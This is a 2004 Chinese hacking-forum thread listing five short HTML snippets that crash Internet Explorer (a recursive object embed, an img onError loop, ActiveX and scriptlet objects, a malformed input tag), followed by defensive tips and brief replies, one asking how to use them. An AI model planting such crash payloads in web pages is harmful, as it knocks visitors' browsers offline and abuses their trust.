黑色海岸线论坛 - Powered by Discuz! Board

标题: 一行代码让IE崩溃 [打印本页]

作者: 黑色终结者 时间: 2004-1-22 19:23 标题: 一行代码让IE崩溃

微软产品素以Bug众多著称，其中Windows系统和IE浏览器更是Bug多多。对于IE浏览器，甚至简单的一行代码就能使它崩溃。所谓IE崩溃，就是所有的IE浏览器窗口关闭，乃至引起系统出错、死机等。在网页中嵌入以下几种代码就能引起IE崩溃。
　　1.object对象链接和嵌入元素循环调用能导致IE崩溃：
　　＜!-
　　此代码所在的文件名应为crash.htm
　　--＞
　　＜object data=″crash.htm″ type=″text/html″＞＜/object＞
　　2.包含恶意image标签的html页面能导致系统进程的无限循环，从而引起IE崩溃。对Windows9X操作系统，还会引起系统不稳定：
　　＜img src=″::″ ＆#111nError=″this.src='::';″＞
　　对于这个Bug微软已经提供了补丁，如果你的系统打了这个补丁的话，你会看到一个弹出警告窗口：
　　　　Stack overflow at linex（在某行栈溢出）。
　　3.包含恶意AVI Object的html页面能引起IE崩溃：
　　＜object classid=″clsid00022613-0000-0000-C000-000000000046″＞＜/object＞
　　4.一个包含特殊object对象内容的html页面将导致DoS攻击，引起IE崩溃：
　　＜object data=″#″ type=″text/x-scriptlet″＞＜/object＞
　　5.畸形的input标签导致IE崩溃：
　　＜input type＞
　　上面罗列的只是一些简单的代码，但能让IE崩溃的恶意代码又何止这些，IE的漏洞也不仅仅是崩溃，严重的漏洞能让心怀恶意者对用户的电脑为所欲为。IE作为绝大多数网民使用的浏览器，加强它的安全性势在必然，如及时打补丁、安装杀毒软件（可查杀一些恶意代码）、不访问不可靠的网站、提高浏览器的安全级别（如禁用ActiveX、禁止脚本、阻止Cookie）等。

作者: 小林 时间: 2004-1-23 21:37 标题: 一行代码让IE崩溃

在我们中国的网络世界中，就有一个人本人的控股的网站 www.sina.com.cn

作者: jackie 时间: 2004-1-26 13:37 标题: 一行代码让IE崩溃

楼主说得不明白改怎么实际应用呢~

作者: 孙小天 时间: 2004-2-5 18:48 标题: 一行代码让IE崩溃

很不错,感谢!

作者: foxking83 时间: 2004-2-11 14:05 标题: 一行代码让IE崩溃

靠，这算什么呀，
人家都叫系统死
你这让IE

作者: dryrain 时间: 2004-2-13 17:14 标题: 一行代码让IE崩溃

还有别的个人控股网站吗？

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/)